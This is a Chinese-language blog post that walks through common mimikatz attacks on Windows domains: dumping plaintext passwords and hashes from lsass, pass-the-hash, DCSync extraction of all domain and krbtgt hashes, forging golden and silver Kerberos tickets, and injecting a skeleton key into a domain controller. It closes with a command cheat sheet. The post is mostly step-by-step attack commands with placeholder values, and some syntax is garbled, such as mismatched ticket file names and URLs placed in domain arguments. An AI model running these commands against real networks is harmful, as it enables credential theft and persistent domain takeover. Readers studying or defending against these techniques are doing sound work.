技術分享 | mimikatz的常見使用方法

0x00簡介

Mimikatz 是一款功能強大的輕量級調試神器,通過它你可以提升進程權限註入進程讀取進程內存,當然他最大的亮點就是他可以直接從 lsass.exe 進程中獲取當前登錄系統用戶名的密碼, lsass是微軟Windows系統的安全機制它主要用於本地安全和登陸策略,通常我們在登陸系統時輸入密碼之後,密碼便會儲存在 lsass內存中,經過其 wdigest 和 tspkg 兩個模塊調用後,對其使用可逆的算法進行加密並存儲在內存之中, 而 mimikatz 正是通過對lsass逆算獲取到明文密碼!也就是說隻要你不重啟電腦,就可以通過他獲取到登陸密碼,隻限當前登陸系統!

0x01常規用法

獲取本地帳戶密碼

(1)以管理員權限運行mimikatz

(2)提升權限 privilege::debug

(3)抓取密碼 sekurlsa::logonpasswords

註:當目標為win10或2012R2以上時,默認在內存緩存中禁止保存明文密碼,還是可以讀到hash值。運行命令時要以管理員權限,否則會因權限不夠報錯。

現在列出域控的C目錄,會得到拒絕訪問。

Hash傳遞攻擊(PTH)

使用mimikatz傳遞hash,當我們獲得瞭一臺主機的NTLM哈希值,我們可以使用mimikatz對其進行哈希傳遞攻擊。執行完命令後,會彈出cmd窗口,在彈出的cmd窗口中有相對應的權限。

Sekurlsa::pth /user:XX /domian:http://xx.com /ntlm:XXXXXXXX

擁有域管權限可以列出所有域用戶

Lsadump::dcsync /domain:http://xx.com /all /csv

普通用戶在cmd中查看域中的賬戶名稱。

票據傳遞攻擊(PTT)

黃金票據

域中每個用戶的 Ticket 都是由 krbtgt 的密碼 Hash 來計算生成的,因此隻要獲取到瞭 krbtgt 用戶的密碼 Hash ,就可以隨意偽造 Ticket ,進而使用 Ticket 登陸域控制器,使用 krbtgt 用戶 hash 生成的票據被稱為 Golden Ticket,此類攻擊方法被稱為票據傳遞攻擊。

首先獲取krbtgt的用戶hash:

lsadump::dcsync /domain:http://xx.com /user:krbtgt

利用 mimikatz 生成域管權限的 Golden Ticket,填入對應的域管理員賬號、域名稱、sid值,如下:kerberos::golden/user:XX/domain:http://XX.COM/sid:XXXXXXXXX /krbtgt:XXXXXX /ticket:123.kiribi

文件生成在mimikatz所在的文件夾中。票據可重復導入。

手動導入票據

Kerberos::ptt 123.kilibi

可以直接ptt生成導入,省略手動導入,如果下次導入還要在輸入一次命令。

註:在沒有票據和hash傳遞的情況下列出其他賬戶的C盤目錄會被拒絕。

成功導入票據後就可以遠程列出其C盤目錄。

白銀票據

黃金票據和白銀票據的一些區別:Golden Ticket:偽造TGT,可以獲取任何 Kerberos 服務權限,且由 krbtgt 的 hash 加密,金票在使用的過程需要和域控通信;

白銀票據:偽造 TGS ,隻能訪問指定的服務,且由服務賬號(通常為計算機賬戶)的 Hash 加密 ,銀票在使用的過程不需要同域控通信;

Kerberos::golden /domain:http://xx.com /sid:XXXXXXXXX /target:http://black.red.com /rc4:xxxxxx /service:cifs /user:xxx /ptt

先清空之前存儲的票據。

用生成的票據再去列出遠程C盤目錄。

skeleton key

skeleton key(萬能鑰匙)就是給所有域內用戶添加一個相同的密碼,域內所有的用戶 都可以使用這個密碼進行認證,同時原始密碼也可以使用,其原理是對 lsass.exe 進行註 入,所以重啟後會失效。

在域控中打開mimikatz,輸入命令將 Skeleton Key 註入域控制器的 lsass.exe 進程,在輸入命令前先用privilege::debug提一下權。

這個時候系統提示 Skeleton Key 已經註入成功,此時會在域內的所有賬號中添加一個 Skeleton Key,其密碼默認為:“mimikatz”。

接下來就可以使用域內任意用戶的身份配合 Skeleton Key 進行域內身份授權驗證瞭。在不使用域管理員原始密碼的情況下,使用註入的 Skeleton Key,同樣可以成功連接系統。

mimikatz常用命令:

privilege::debug //提升權限

sekurlsa::logonpasswords //抓取密碼

kerberos::list //列出存儲票據

kerberos::purge //清空存儲票據

kerberos::ptt XX.XX //導入票據

lsadump::dcsync /domain:http://test.com /all /csv //獲取所有域用戶

lsadump::dcsync /domain:http://test.com /user:test //指定獲取某個用戶的hash

lsadump::dcsync /domain:http://xx.com /user:krbtgt //獲取krbtgt的用戶hash

misc::skeleton //添加萬能密鑰

參考鏈接:

https://0x00sec.org/t/playing-with-hashes-and-tickets/26604https://www.cnblogs.com/-mo-/p/11890232.html

https://www.bilibili.com/read/cv7397057/

https://www.freebuf.com/articles/system/234365.html

https://www.cnblogs.com/gendan5/p/11611802.html

赞(0)